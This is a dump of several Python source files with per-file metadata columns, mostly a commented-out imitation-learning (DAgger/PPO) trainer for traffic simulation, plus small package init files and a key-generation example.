# # self.action_network = ImitatingNetwork(self.sess, self.params['action_dim'], self.params['obs_dim'], self.params['fcnet_hiddens'],
# # self.params['replay_buffer_size'], stochastic=self.params['stochastic'],
# # variance_regularizer=self.params['variance_regularizer'],
# # load_model=self.params['load_imitation_model']) #, load_path=self.params['load_imitation_path']), tensorboard_path=self.params['tensorboard_path'])
# self.action_network = ImitatingNetwork(self.env, self.sess, self.params['action_dim'], self.params['obs_dim'],
# self.params['fcnet_hiddens'], self.params['replay_buffer_size'],
# stochastic=self.params['stochastic'], variance_regularizer=self.params['variance_regularizer'],
# load_model=self.params['load_imitation_model'], load_path=self.params['load_imitation_path'])
# # controllers setup
# # v_des = self.params['v_des'] # for FollowerStopper
# car_following_params = SumoCarFollowingParams()
# self.controllers = dict()
# # initialize controllers: save in a dictionary to avoid re-initializing a controller for a vehicle
# for vehicle_id in self.vehicle_ids:
# expert = FollowerStopper(vehicle_id, car_following_params=car_following_params, v_des=v_des)
# imitator = ImitatingController(vehicle_id, self.action_network, self.multiagent, car_following_params=car_following_params)
# self.controllers[vehicle_id] = (imitator, expert)
# def run_training_loop(self, n_iter):
# """
# Trains imitator for n_iter iterations (each iteration collects new trajectories to put in replay buffer)
# Parameters
# __________
# n_iter :
# intnumber of iterations to execute training
# """
# # init vars at beginning of training
# # number of environment steps taken throughout training
# self.total_envsteps = 0
# for itr in range(n_iter):
# print("\n\n********** Iteration %i ************"%itr)
# # collect trajectories, to be used for training
# if itr == 0:
# # first iteration is behavioral cloning
# training_returns = self.collect_training_trajectories(itr, self.params['init_batch_size'])
# else:
# # other iterations use DAgger (trajectories collected by running imitator policy)
# training_returns = self.collect_training_trajectories(itr, self.params['batch_size'])
# paths, envsteps_this_batch = training_returns
# self.total_envsteps += envsteps_this_batch
# # add collected data to replay buffer in neural network class
# self.action_network.add_to_replay_buffer(paths)
# # train controller
# self.train_controller()
# def collect_training_trajectories(self, itr, batch_size):
# """
# Collect (state, action, reward, next_state, terminal) tuples for training
# Parameters
# __________
# itr: int
# iteration of training during which function is called. Used to determine whether to run behavioral cloning or DAgger
# batch_size: int
# number of tuples to collect
# Returns
# _______
# paths: list
# list of trajectories
# envsteps_this_batch: int
# the sum over the numbers of environment steps in paths (total number of env transitions in trajectories collected)
# """
# print("\nCollecting data to be used for training...")
# max_decel = self.flow_params['env'].additional_params['max_decel']
# trajectories, envsteps_this_batch = sample_trajectories(self.env, self.controllers, self.action_network, batch_size, self.params['ep_len'], self.multiagent, use_expert= itr<self.params['n_bc_iter'], max_decel=max_decel)
# return trajectories, envsteps_this_batch
# def train_controller(self):
# """
# Trains controller for specified number of steps, using data sampled from replay buffer; each step involves running optimizer (i.e. Adam) once
# """
# print("Training controller using sampled data from replay buffer...")
# for train_step in range(self.params['num_agent_train_steps_per_iter']):
# # sample data from replay buffer
# ob_batch, ac_batch, expert_ac_batch, state_info_batch = self.action_network.sample_data(self.params['train_batch_size'])
# # train network on sampled data
# self.action_network.train(ob_batch, expert_ac_batch, state_info_batch)
# def evaluate_controller(self, num_trajs = 10):
# """
# Evaluates a trained imitation controller on similarity with expert with respect to action taken and total reward per rollout.
# Parameters
# __________
# num_trajs: int
# number of trajectories to evaluate performance on
# """
# import ipdb; ipdb.set_trace()
# print("\n\n********** Evaluation ************ \n")
# # collect imitator driven trajectories (along with corresponding expert actions)
# trajectories = sample_n_trajectories(self.env, self.controllers, self.action_network, num_trajs, self.params['ep_len'], self.multiagent, False)
# # initialize metrics
# total_imitator_steps = 0 # total number of environment steps taken across the n trajectories
# average_imitator_reward_per_rollout = 0 # average reward per rollout achieved by imitator
# action_errors = np.array([]) # difference in action (acceleration) taken between expert and imitator
# average_action_expert = 0 # average action taken, across all timesteps, by expert (used to compute % average)
# average_action_imitator = 0 # average action taken, across all timesteps, by imitator (used to compute % average)
# # compare actions taken in each step of trajectories (trajectories are controlled by imitator)
# for traj_tuple in trajectories:
# traj = traj_tuple[0]
# traj_len = traj_tuple[1]
# imitator_actions = traj['actions']
# expert_actions = traj['expert_actions']
# average_action_expert += np.sum(expert_actions)
# average_action_imitator += np.sum(imitator_actions)
# # use RMSE as action error metric
# action_error = (np.linalg.norm(imitator_actions - expert_actions)) / len(imitator_actions)
# action_errors = np.append(action_errors, action_error)
# total_imitator_steps += traj_len
# average_imitator_reward_per_rollout += np.sum(traj['rewards'])
# # compute averages for metrics
# average_imitator_reward_per_rollout = average_imitator_reward_per_rollout / len(trajectories)
# average_action_expert = average_action_expert / total_imitator_steps
# # collect expert driven trajectories (these trajectories are only used to compare average reward per rollout)
# expert_trajectories = sample_n_trajectories(self.env, self.controllers, self.action_network, num_trajs, self.params['ep_len'], self.multiagent, True, v_des=self.params['v_des'])
# # initialize metrics
# total_expert_steps = 0
# average_expert_reward_per_rollout = 0
# # compare reward accumulated in trajectories collected via expert vs. via imitator
# for traj_tuple in expert_trajectories:
# traj = traj_tuple[0]
# traj_len = traj_tuple[1]
# total_expert_steps += traj_len
# average_expert_reward_per_rollout += np.sum(traj['rewards'])
# average_expert_reward_per_rollout = average_expert_reward_per_rollout / len(expert_trajectories)
# # compute percent errors (using expert values as 'ground truth')
# percent_error_average_reward = (np.abs(average_expert_reward_per_rollout - average_imitator_reward_per_rollout) / average_expert_reward_per_rollout) * 100
# percent_error_average_action = (np.abs(np.mean(action_errors)) / np.abs(average_action_expert)) * 100
# # Print results
# print("\nAverage reward per rollout, expert: ", average_expert_reward_per_rollout)
# print("Average reward per rollout, imitator: ", average_imitator_reward_per_rollout)
# print("% Difference, average reward per rollout: ", percent_error_average_reward, "\n")
# print(" Average RMSE action error per rollout: ", np.mean(action_errors))
# print("Average Action Taken by Expert: ", average_action_expert)
# print("% Action Error: ", percent_error_average_action, "\n")
# print("Total imitator steps: ", total_imitator_steps)
# print("Total expert steps: ", total_expert_steps)
# def learn_value_function(self, num_samples, num_iterations, num_grad_steps):
# """
# Learn the value function under imitation policy.
# Parameters
# __________
# num_samples: number of environment transition samples to collect to learn from
# num_iterations: number of iterations to relabel data, and train
# num_grad_steps: number of gradient steps per training iteration
# Returns
# _______
# Value function neural net
# """
# print("\n\n********** Learning value function of imitation policy ************ \n")
# # init value function neural net
# vf_net = build_neural_net_deterministic(self.params['obs_dim'], 1, self.params['fcnet_hiddens'])
# vf_net.compile(loss='mean_squared_error', optimizer = 'adam')
# max_decel = self.flow_params['env'].additional_params['max_decel']
# # collect trajectory samples to train on
# trajectories, envsteps_this_batch = sample_trajectories(self.env, self.controllers, self.action_network,
# num_samples, self.params['ep_len'], self.multiagent,
# use_expert=False, max_decel=max_decel)
# # combine trajectories into one
# observations = np.concatenate([traj['observations'] for traj in trajectories])
# rewards = np.concatenate([traj['rewards'] for traj in trajectories])
# next_observations = np.concatenate([traj['next_observations'] for traj in trajectories])
# # iterate over data multiple times (labels change every iteration)
# for _ in range(num_iterations):
# # form labels
# next_state_value_preds = vf_net.predict(next_observations).flatten()
# next_state_value_preds[np.isnan(next_state_value_preds)] = 0
# labels = rewards + next_state_value_preds
# vf_net.fit(observations, labels, verbose=0)
# return vf_net
# def save_controller_for_PPO(self):
# """
# Build a model, with same policy architecture as imitation network, to run PPO, copy weights from imitation, and save this model.
# """
# vf_net = self.learn_value_function(self.params['vf_batch_size'], self.params['num_vf_iters'], self.params['num_agent_train_steps_per_iter'])
# input = tf.keras.layers.Input(self.action_network.model.input.shape[1].value)
# curr_layer = input
# # number of hidden layers
# num_layers = len(self.action_network.model.layers) - 2
# # build layers for policy
# for i in range(num_layers):
# size = self.action_network.model.layers[i + 1].output.shape[1].value
# activation = tf.keras.activations.serialize(self.action_network.model.layers[i + 1].activation)
# curr_layer = tf.keras.layers.Dense(size, activation=activation, name="policy_hidden_layer_{}".format(i + 1))(curr_layer)
# output_layer_policy = tf.keras.layers.Dense(self.action_network.model.output.shape[1].value, activation=None, name="policy_output_layer")(curr_layer)
# # build layers for value function
# curr_layer = input
# for i in range(num_layers):
# size = self.params['fcnet_hiddens'][i]
# curr_layer = tf.keras.layers.Dense(size, activation="tanh", name="vf_hidden_layer_{}".format(i+1))(curr_layer)
# output_layer_vf = tf.keras.layers.Dense(1, activation=None, name="vf_output_layer")(curr_layer)
# ppo_model = tf.keras.Model(inputs=input, outputs=[output_layer_policy, output_layer_vf], name="ppo_model")
# # set the policy weights to those learned from imitation
# for i in range(num_layers):
# policy_layer = ppo_model.get_layer(name="policy_hidden_layer_{}".format(i + 1))
# policy_layer.set_weights(self.action_network.model.layers[i + 1].get_weights())
# policy_output = ppo_model.get_layer("policy_output_layer")
# policy_output.set_weights(self.action_network.model.layers[-1].get_weights())
# # set value function weights to those learned
# num_vf_layers = len(vf_net.layers) - 2
# for i in range(num_vf_layers):
# vf_layer = ppo_model.get_layer('vf_hidden_layer_{}'.format(i + 1))
# vf_layer.set_weights(vf_net.layers[i + 1].get_weights())
# vf_output = ppo_model.get_layer("vf_output_layer")
# vf_output.set_weights(vf_net.layers[-1].get_weights())
# # save the model (as a h5 file)
# ppo_model.save(self.params['PPO_save_path'])
# def save_controller_network(self):
# """
# Saves a keras tensorflow model to the specified path given in the command line params. Path must end with .h5.
# """
# print("Saving tensorflow model to: ", self.params['imitation_save_path'])
# self.action_network.save_network(self.params['imitation_save_path'])
# # import time
# # import pickle
# # import numpy as np
# # import gym
# # import os
# # import argparse
# # import matplotlib.pyplot as plt
# # from collections import OrderedDict
# # from flow.utils.registry import make_create_env
# # from imitating_controller import ImitatingController
# # from imitating_network import ImitatingNetwork
# # from flow.controllers.car_following_models import IDMController
# # from flow.controllers.velocity_controllers import FollowerStopper
# # from flow.core.params import SumoCarFollowingParams
# # import tensorflow as tf
# # from utils import *
# # from utils_tensorflow import *
# # class Trainer(object):
# # """
# # Class to initialize and run training for imitation learning (with DAgger)
# # """
# # def __init__(self, params, submodule, render=False):
# # """
# # Parameters
# # __________
# # params: dict
# # Dictionary of parameters used to run imitation learning
# # submodule: Module
# # Python module for file containing flow_params
# # """
# # class Args:
# # def __init__(self):
# # self.horizon = 400
# # self.algo = "PPO"
# # args = Args()
# # # get flow params
# # self.flow_params = submodule.make_flow_params(args, pedestrians=True, render=render)
# # # setup parameters for training
# # self.params = params
# # self.sess = create_tf_session()
# # # environment setup
# # create_env, _ = make_create_env(self.flow_params)
# # self.env = create_env()
# # # vehicle setup
# # self.multiagent = self.params['multiagent'] # multiagent or singleagent env
# # if not self.multiagent and self.env.action_space.shape[0] > 1:
# # # use sorted rl ids if the method exists (e.g.. singlagent straightroad)
# # try:
# # self.vehicle_ids = self.env.get_sorted_rl_ids()
# # except:
# # self.vehicle_ids = self.k.vehicle.get_rl_ids()
# # else:
# # # use get_rl_ids if sorted_rl_ids doesn't exist
# # self.vehicle_ids = self.env.k.vehicle.get_rl_ids()
# # # neural net setup
# # obs_dim = self.env.observation_space.shape[0]
# # action_dim = self.env.action_space.shape[0]
# # self.params['action_dim'] = action_dim
# # self.params['obs_dim'] = obs_dim
# # # initialize neural network class and tf variables
# # self.action_network = ImitatingNetwork(self.env, self.sess, self.params['action_dim'], self.params['obs_dim'], self.params['fcnet_hiddens'],
# # self.params['replay_buffer_size'], stochastic=self.params['stochastic'],
# # variance_regularizer=self.params['variance_regularizer'], load_model=self.params['load_imitation_model'],
# # load_path=self.params['load_imitation_path'])
# # # tf.global_variables_initializer().run(session=self.sess)
# # # controllers setup
# # car_following_params = SumoCarFollowingParams()
# # self.controllers = dict()
# # # initialize controllers: save in a dictionary to avoid re-initializing a controller for a vehicle
# # for vehicle_id in self.vehicle_ids:
# # expert = IDMController(vehicle_id, car_following_params=car_following_params)
# # imitator = ImitatingController(vehicle_id, self.action_network, self.multiagent, car_following_params=car_following_params)
# # self.controllers[vehicle_id] = (imitator, expert)
# # def run_training_loop(self, n_iter):
# # """
# # Trains imitator for n_iter iterations (each iteration collects new trajectories to put in replay buffer)
# # Parameters
# # __________
# # n_iter :
# # intnumber of iterations to execute training
# # """
# # # init vars at beginning of training
# # # number of environment steps taken throughout training
# # self.total_envsteps = 0
# # for itr in range(n_iter):
# # print("\n\n********** Iteration %i ************"%itr)
# # # collect trajectories, to be used for training
# # if itr == 0:
# # # first iteration is behavioral cloning
# # training_returns = self.collect_training_trajectories(itr, self.params['init_batch_size'])
# # else:
# # # other iterations use DAgger (trajectories collected by running imitator policy)
# # training_returns = self.collect_training_trajectories(itr, self.params['batch_size'])
# # paths, envsteps_this_batch = training_returns
# # self.total_envsteps += envsteps_this_batch
# # # add collected data to replay buffer in neural network class
# # self.action_network.add_to_replay_buffer(paths)
# # # train controller
# # self.train_controller()
# # if itr % 3 == 0 and itr > 1:
# # self.evaluate_controller(self.params["num_eval_episodes"])
# # def collect_training_trajectories(self, itr, batch_size):
# # """
# # Collect (state, action, reward, next_state, terminal, state_info) tuples for training
# # Parameters
# # __________
# # itr: int
# # iteration of training during which function is called. Used to determine whether to run behavioral cloning or DAgger
# # batch_size: int
# # number of tuples to collect
# # Returns
# # _______
# # paths: list
# # list of trajectories
# # envsteps_this_batch: int
# # the sum over the numbers of environment steps in paths (total number of env transitions in trajectories collected)
# # """
# # print("\nCollecting data to be used for training...")
# # max_decel = self.flow_params['env'].additional_params['max_decel']
# # trajectories, envsteps_this_batch = sample_trajectories(self.env, self.controllers, self.action_network, batch_size, self.params['ep_len'], self.multiagent, use_expert= itr<self.params['n_bc_iter'], max_decel=max_decel)
# # return trajectories, envsteps_this_batch
# # def train_controller(self, plot_error=False):
# # """
# # Trains controller for specified number of steps, using data sampled from replay buffer; each step involves running optimizer (i.e. Adam) once
# # """
# # errors = []
# # print("Training controller using sampled data from replay buffer...")
# # for train_step in range(self.params['num_agent_train_steps_per_iter']):
# # # sample data from replay buffer
# # ob_batch, ac_batch, expert_ac_batch, state_info_batch = self.action_network.sample_data(self.params['train_batch_size'])
# # # train network on sampled data
# # errors.append(self.action_network.train(ob_batch, expert_ac_batch, state_info_batch))
# # if plot_error:
# # plt.plot(errors)
# # plt.title("train controller error vs train steps")
# # plt.show()
# # def evaluate_controller(self, num_trajs = 10):
# # """
# # Evaluates a trained imitation controller on similarity with expert with respect to action taken and total reward per rollout.
# # Parameters
# # __________
# # num_trajs: int
# # number of trajectories to evaluate performance on
# # """
# # print("\n\n********** Evaluation ************ \n")
# # # collect imitator driven trajectories (along with corresponding expert actions)
# # trajectories = sample_n_trajectories(self.env, self.controllers, self.action_network, num_trajs, self.params['ep_len'], self.multiagent, False)
# # # initialize metrics
# # total_imitator_steps = 0 # total number of environment steps taken across the n trajectories
# # average_imitator_reward_per_rollout = 0 # average reward per rollout achieved by imitator
# # action_errors = np.array([]) # difference in action (acceleration) taken between expert and imitator
# # average_action_expert = 0 # average action taken, across all timesteps, by expert (used to compute % average)
# # average_action_imitator = 0 # average action taken, across all timesteps, by imitator (used to compute % average)
# # # compare actions taken in each step of trajectories (trajectories are controlled by imitator)
# # for traj_tuple in trajectories:
# # traj = traj_tuple[0]
# # traj_len = traj_tuple[1]
# # imitator_actions = traj['actions']
# # expert_actions = traj['expert_actions']
# # average_action_expert += np.sum(expert_actions)
# # average_action_imitator += np.sum(imitator_actions)
# # # use RMSE as action error metric
# # action_error = (np.linalg.norm(imitator_actions - expert_actions)) / len(imitator_actions)
# # action_errors = np.append(action_errors, action_error)
# # total_imitator_steps += traj_len
# # average_imitator_reward_per_rollout += np.sum(traj['rewards'])
# # if len(trajectories) == 0:
# # trajectories = sample_n_trajectories(self.env, self.controllers, self.action_network, num_trajs, self.params['ep_len'], self.multiagent, False)
# # # compute averages for metrics
# # average_imitator_reward_per_rollout = average_imitator_reward_per_rollout / len(trajectories)
# # average_action_expert = average_action_expert / total_imitator_steps
# # # collect expert driven trajectories (these trajectories are only used to compare average reward per rollout)
# # expert_trajectories = sample_n_trajectories(self.env, self.controllers, self.action_network, num_trajs, self.params['ep_len'], self.multiagent, True)
# # # initialize metrics
# # total_expert_steps = 0
# # average_expert_reward_per_rollout = 0
# # # compare reward accumulated in trajectories collected via expert vs. via imitator
# # for traj_tuple in expert_trajectories:
# # traj = traj_tuple[0]
# # traj_len = traj_tuple[1]
# # total_expert_steps += traj_len
# # average_expert_reward_per_rollout += np.sum(traj['rewards'])
# # average_expert_reward_per_rollout = average_expert_reward_per_rollout / len(expert_trajectories)
# # # compute percent errors (using expert values as 'ground truth')
# # percent_error_average_reward = (np.abs(average_expert_reward_per_rollout - average_imitator_reward_per_rollout) / average_expert_reward_per_rollout) * 100
# # percent_error_average_action = (np.abs(np.mean(action_errors)) / np.abs(average_action_expert)) * 100
# # # Print results
# # print("\nAverage reward per rollout, expert: ", average_expert_reward_per_rollout)
# # print("Average reward per rollout, imitator: ", average_imitator_reward_per_rollout)
# # print("% Difference, average reward per rollout: ", percent_error_average_reward, "\n")
# # print(" Average RMSE action error per rollout: ", np.mean(action_errors))
# # print("Average Action Taken by Expert: ", average_action_expert)
# # print("% Action Error: ", percent_error_average_action, "\n")
# # print("Total imitator steps: ", total_imitator_steps)
# # print("Total expert steps: ", total_expert_steps)
# # def save_controller_network(self):
# # """
# # Saves a keras tensorflow model to the specified path given in the command line params. Path must end with .h5.
# # """
# # print("Saving tensorflow model to: ", self.params['save_path'])
# # self.action_network.save_network(self.params['save_path'])
# # def save_controller_for_PPO(self):
# # """
# # Creates and saves a keras tensorflow model for training PPO with weights learned from imitation, to the specified path given in the command line params. Path must end with .h5.
# # """
# # self.action_network.save_network_PPO(self.params['save_path'])
| 48.630126
| 231
| 0.650698
| 6,796
| 58,113
| 5.297234
| 0.054002
| 0.037778
| 0.033778
| 0.017111
| 0.995722
| 0.995722
| 0.994333
| 0.994333
| 0.994333
| 0.994333
| 0
| 0.003774
| 0.256758
| 58,113
| 1,194
| 232
| 48.670854
| 0.829714
| 0.758815
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| 0
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| 0.098334
| 0.008328
| 0
| 0
| 0
| 0.000838
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| 1
| 0.053892
| false
| 0
| 0.095808
| 0
| 0.173653
| 0.083832
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| null | 0
| 0
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| 1
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| 1
| 1
| 1
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| 0
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| 0
| null | 0
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| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
25ab2cfa339a691b746236596cac21c0e0e39942
| 200
|
py
|
Python
|
examples/keys.py
|
notchxor/ueosio
|
0169075c6814461932eb5ce30f851ef70401fb61
|
[
"MIT"
] | 1
|
2020-06-19T00:08:25.000Z
|
2020-06-19T00:08:25.000Z
|
examples/keys.py
|
notchxor/ueosio
|
0169075c6814461932eb5ce30f851ef70401fb61
|
[
"MIT"
] | null | null | null |
examples/keys.py
|
notchxor/ueosio
|
0169075c6814461932eb5ce30f851ef70401fb61
|
[
"MIT"
] | null | null | null |
from ueosio import gen_key_pair, get_pub_key
## Print Key Pair
print(gen_key_pair())
## Get Public Address from Private Key
print(get_pub_key('5KJfEtwkMBp8t5HtgGfFZVdiUJhDejS5sbiE5siMVe1xs6RQa6y'))
| 25
| 73
| 0.825
| 27
| 200
| 5.814815
| 0.481481
| 0.133758
| 0.127389
| 0.165605
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.044444
| 0.1
| 200
| 7
| 74
| 28.571429
| 0.827778
| 0.25
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| 0.351724
| 0.351724
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| true
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| 0.333333
| 0
| 0.333333
| 0.666667
| 1
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| null | 0
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| 0
| 1
| 0
| 1
| 0
| 0
| 1
|
0
| 6
|
25fb85613510c08883b82eb0088b2736f85368fb
| 25
|
py
|
Python
|
__init__.py
|
wormtooth/miner
|
8ba161b5db0211994799b2d84e359f3fb4c14392
|
[
"MIT"
] | 1
|
2017-10-01T04:43:11.000Z
|
2017-10-01T04:43:11.000Z
|
__init__.py
|
wormtooth/miner
|
8ba161b5db0211994799b2d84e359f3fb4c14392
|
[
"MIT"
] | null | null | null |
__init__.py
|
wormtooth/miner
|
8ba161b5db0211994799b2d84e359f3fb4c14392
|
[
"MIT"
] | null | null | null |
from .miner import Miner
| 12.5
| 24
| 0.8
| 4
| 25
| 5
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.16
| 25
| 1
| 25
| 25
| 0.952381
| 0
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| 0
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| 0
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| true
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| 0
| 0
| 0
| 0
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| 1
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| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
d377daf5638a7fc8d6add5f58baae6658f5fa26a
| 102
|
py
|
Python
|
{{cookiecutter.project_name}}/{{cookiecutter.project_name}}/__main__.py
|
rzavarce/cookiecutter-vertebral
|
29a72b6bfb5c4ca76b1a36ee1e8ff9e0fedcb421
|
[
"MIT"
] | null | null | null |
{{cookiecutter.project_name}}/{{cookiecutter.project_name}}/__main__.py
|
rzavarce/cookiecutter-vertebral
|
29a72b6bfb5c4ca76b1a36ee1e8ff9e0fedcb421
|
[
"MIT"
] | null | null | null |
{{cookiecutter.project_name}}/{{cookiecutter.project_name}}/__main__.py
|
rzavarce/cookiecutter-vertebral
|
29a72b6bfb5c4ca76b1a36ee1e8ff9e0fedcb421
|
[
"MIT"
] | null | null | null |
from core.main import main
import sys
sys.path.append(".")
# TODO CHANGE TO CORRECT IMPORT
main()
| 10.2
| 31
| 0.715686
| 16
| 102
| 4.5625
| 0.6875
| 0.273973
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.176471
| 102
| 9
| 32
| 11.333333
| 0.869048
| 0.284314
| 0
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| 0
| 0.014493
| 0
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| 0
| 0.111111
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| null | 0
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| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
d396ca37920e848defb999ee20b01daf407d64e1
| 34
|
py
|
Python
|
utils/__init__.py
|
toandaominh1997/ProductDetectionShopee
|
9fe66b1e96ec3709630d486b66fc13a0fbc55a05
|
[
"MIT"
] | null | null | null |
utils/__init__.py
|
toandaominh1997/ProductDetectionShopee
|
9fe66b1e96ec3709630d486b66fc13a0fbc55a05
|
[
"MIT"
] | null | null | null |
utils/__init__.py
|
toandaominh1997/ProductDetectionShopee
|
9fe66b1e96ec3709630d486b66fc13a0fbc55a05
|
[
"MIT"
] | 1
|
2020-07-06T07:15:43.000Z
|
2020-07-06T07:15:43.000Z
|
from .utils import get_state_dict
| 17
| 33
| 0.852941
| 6
| 34
| 4.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.117647
| 34
| 1
| 34
| 34
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 1
| 0
| true
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| 1
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| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
d3a991c0aed58b17f188cc2571af2e99f9fa68bc
| 59
|
py
|
Python
|
test_pyright_hanging_3.py
|
vn17/bandit
|
50f382eba0ffa5da2fe70d2f0de7403a40ab2ec3
|
[
"Apache-2.0"
] | null | null | null |
test_pyright_hanging_3.py
|
vn17/bandit
|
50f382eba0ffa5da2fe70d2f0de7403a40ab2ec3
|
[
"Apache-2.0"
] | null | null | null |
test_pyright_hanging_3.py
|
vn17/bandit
|
50f382eba0ffa5da2fe70d2f0de7403a40ab2ec3
|
[
"Apache-2.0"
] | 1
|
2022-01-28T23:09:01.000Z
|
2022-01-28T23:09:01.000Z
|
import numpy as np
reveal_type(np.zeros(1) - np.zeros(1))
| 14.75
| 38
| 0.711864
| 12
| 59
| 3.416667
| 0.666667
| 0.341463
| 0.390244
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.039216
| 0.135593
| 59
| 3
| 39
| 19.666667
| 0.764706
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
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| null | 1
| 1
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
6ccd66394aaf44082f5f50651314b7e0684b38a8
| 33
|
py
|
Python
|
xy_agent/__init__.py
|
kmharrington/xy_stage_control
|
1aef165a2ecebf9bd7a659435ff6905ed79b1726
|
[
"MIT"
] | null | null | null |
xy_agent/__init__.py
|
kmharrington/xy_stage_control
|
1aef165a2ecebf9bd7a659435ff6905ed79b1726
|
[
"MIT"
] | 2
|
2021-04-09T15:57:41.000Z
|
2021-09-27T15:50:56.000Z
|
xy_agent/__init__.py
|
kmharrington/xy_stage_control
|
1aef165a2ecebf9bd7a659435ff6905ed79b1726
|
[
"MIT"
] | 1
|
2021-04-23T18:29:43.000Z
|
2021-04-23T18:29:43.000Z
|
from .xy_connect import XY_Stage
| 16.5
| 32
| 0.848485
| 6
| 33
| 4.333333
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.121212
| 33
| 1
| 33
| 33
| 0.896552
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| 0
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| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
9f86f64dde4ad463621a62804a52d5154ebe8162
| 129
|
py
|
Python
|
src/models/backtest/__init__.py
|
webclinic017/advisor_app
|
9cdab4aca19e193850943ef8308bad5c5ea0415d
|
[
"MIT"
] | null | null | null |
src/models/backtest/__init__.py
|
webclinic017/advisor_app
|
9cdab4aca19e193850943ef8308bad5c5ea0415d
|
[
"MIT"
] | null | null | null |
src/models/backtest/__init__.py
|
webclinic017/advisor_app
|
9cdab4aca19e193850943ef8308bad5c5ea0415d
|
[
"MIT"
] | null | null | null |
from .A1 import get_ticker_data, calc_moving_average, ma_backtest, plot
from .vectorized_backtest import The_Vectorized_Backtest
| 43
| 71
| 0.875969
| 19
| 129
| 5.526316
| 0.736842
| 0.342857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008475
| 0.085271
| 129
| 2
| 72
| 64.5
| 0.881356
| 0
| 0
| 0
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| 0
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| null | 1
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| 0
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| 1
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| 0
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
9f93196157c117799439d265aa74b2356c4ef5e1
| 19
|
py
|
Python
|
pylut/__init__.py
|
ardhitama/pylut
|
c40ad2be9c5698fff9a8e034462130e2bf9f8ced
|
[
"MIT"
] | 93
|
2015-01-15T15:34:08.000Z
|
2021-11-04T08:09:28.000Z
|
pylut/__init__.py
|
ardhitama/pylut
|
c40ad2be9c5698fff9a8e034462130e2bf9f8ced
|
[
"MIT"
] | 7
|
2016-12-15T16:33:45.000Z
|
2019-11-22T22:08:19.000Z
|
pylut/__init__.py
|
ardhitama/pylut
|
c40ad2be9c5698fff9a8e034462130e2bf9f8ced
|
[
"MIT"
] | 33
|
2015-04-26T15:45:10.000Z
|
2021-06-21T16:13:11.000Z
|
from pylut import *
| 19
| 19
| 0.789474
| 3
| 19
| 5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.157895
| 19
| 1
| 19
| 19
| 0.9375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
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| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
9fb91c4625caa622ee631ba30eabbbcc41f2bd60
| 59
|
py
|
Python
|
addons/po_persian_calendar/models/__init__.py
|
apadanagroup/parOdoo
|
8c6f67848e0689b76fb780feca08d819fd3c1847
|
[
"Apache-2.0"
] | 12
|
2021-03-26T08:39:40.000Z
|
2022-03-16T02:20:10.000Z
|
addons/po_persian_calendar/models/__init__.py
|
apadanagroup/parOdoo
|
8c6f67848e0689b76fb780feca08d819fd3c1847
|
[
"Apache-2.0"
] | 13
|
2020-12-20T16:00:21.000Z
|
2022-03-14T14:55:30.000Z
|
addons/po_persian_calendar/models/__init__.py
|
apadanagroup/parOdoo
|
8c6f67848e0689b76fb780feca08d819fd3c1847
|
[
"Apache-2.0"
] | 17
|
2020-08-31T11:18:49.000Z
|
2022-02-09T05:57:31.000Z
|
from . import HttpExtensions
from . import UsersExtensions
| 19.666667
| 29
| 0.830508
| 6
| 59
| 8.166667
| 0.666667
| 0.408163
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.135593
| 59
| 2
| 30
| 29.5
| 0.960784
| 0
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| true
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| null | 1
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| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
4c9ab569ed53de75a09e58003f565fbbac8fe687
| 116
|
py
|
Python
|
src/operandi_server/models.py
|
MehmedGIT/OPERANDI_TestRepo
|
529d053d4e225642c4b07016edf54736d957a025
|
[
"Apache-2.0"
] | 8
|
2022-01-26T09:53:57.000Z
|
2022-03-21T10:40:28.000Z
|
src/operandi_server/models.py
|
MehmedGIT/OPERANDI_TestRepo
|
529d053d4e225642c4b07016edf54736d957a025
|
[
"Apache-2.0"
] | null | null | null |
src/operandi_server/models.py
|
